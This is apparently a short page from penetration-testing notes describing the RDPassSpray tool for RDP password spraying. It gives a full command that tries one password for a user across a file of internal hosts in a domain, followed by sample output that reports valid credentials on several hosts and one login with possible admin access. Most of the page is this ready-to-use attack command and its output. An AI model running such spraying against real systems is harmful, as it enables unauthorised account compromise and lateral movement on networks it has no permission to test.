RDP Password Spraying

RDPassSpray is a Python3 tool to perform password spraying using RDP:

python3 RDPassSpray.py -u joe -p Password123 -d corp.local -T ../internal.txt
[17-11-2023 08:46] - Total number of users to test: 1
[17-11-2023 08:46] - Total number of passwords to test: 1
[17-11-2023 08:46] - Total number of attempts: 1
[17-11-2023 08:46] - [*] Started running at: 17-11-2023 08:46:09
[17-11-2023 08:46] - [+] Seems like the creds are valid, but no RDP permissions: joe :: Password123 @172.16.1.5
[17-11-2023 08:46] - [+] Seems like the creds are valid, but no RDP permissions: joe :: Password123 @172.16.1.15
[17-11-2023 08:46] - [+] Seems like the creds are valid, but no RDP permissions: joe :: Password123 @172.16.1.23
[17-11-2023 08:46] - [+] Seems like the creds are valid, but no RDP permissions: joe :: Password123 @172.16.1.24
[17-11-2023 08:46] - [+] Seems like the creds are valid, but no RDP permissions: joe :: Password123 @172.16.1.26
[17-11-2023 08:46] - [+] Seems like the creds are valid, but no RDP permissions: joe :: Password123 @172.16.1.30
[17-11-2023 08:46] - [+] Cred successful (maybe even Admin access!): joe :: Password123 @172.16.1.36

Note that this tool will change your hostname, make sure to change it back if interrupted.

Link

Last updated